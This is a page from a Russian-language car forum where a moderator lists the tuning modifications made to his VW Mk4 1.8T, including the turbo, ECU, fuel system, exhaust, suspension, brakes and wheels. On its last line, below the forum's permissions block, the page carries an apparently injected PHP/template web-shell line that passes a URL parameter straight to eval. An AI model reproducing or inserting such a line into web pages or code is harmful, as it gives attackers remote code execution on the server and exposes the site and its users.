Показано с 111 по 120 из 223

Тема: Mk4 1.8T


Древовидный режим

  1. #1
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    моя малышка Mk4, 1.8Т было (150 л.с./210Нм) и стало (261 л.с./375Нм):

    теперь живет у Лины ака`Lina`.........



    - ECU Haltech E6x;
    - Турбо: Garrett GT28RS;
    - Бензонасос Walbro 255 л\ч;
    - Форсунки 600 сс;
    - Blow-off Turbosmart Megasonic;
    - Фронтальный интеркулер;
    - Даунпайп 3";
    - Выпускная система прямоточная 2.5" без катализатора и резонатора;
    - Глушитель MG-RACE, нержавеющая сталь;
    - Подвеска винтовые стойки с регулировкой по высоте и жесткости BILSTEIN PSS9 B16;
    - Растяжка верхних стоек OMP;
    - Растяжка нижняя OMP;
    - Стабилизатор передний увеличенного диаметра H&R;
    - Тормоза передние перфорированные: Ауди ТТ 312 мм;
    - Полеуретан в передних рычагах;
    - Диски ВСМПО Пантера 17” черные (были)
    - Диски OZ ULTRALEGGERA 17" индивидуальная покраска в красный;
    - Дополнительные приборы Defi-Link Meter BF;
    - Модуль управления Defi-Link Control Unit II;
    - Фары передние DEPO, линзы ближнего света, габариты кольца, черные внутри;
    - Hella 6000K;



    Последний из графиков:
    Последний раз редактировалось BON; 16.03.2010 в 23:57.
    песок сыпется....не останавливайтесь на достигнутом !

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}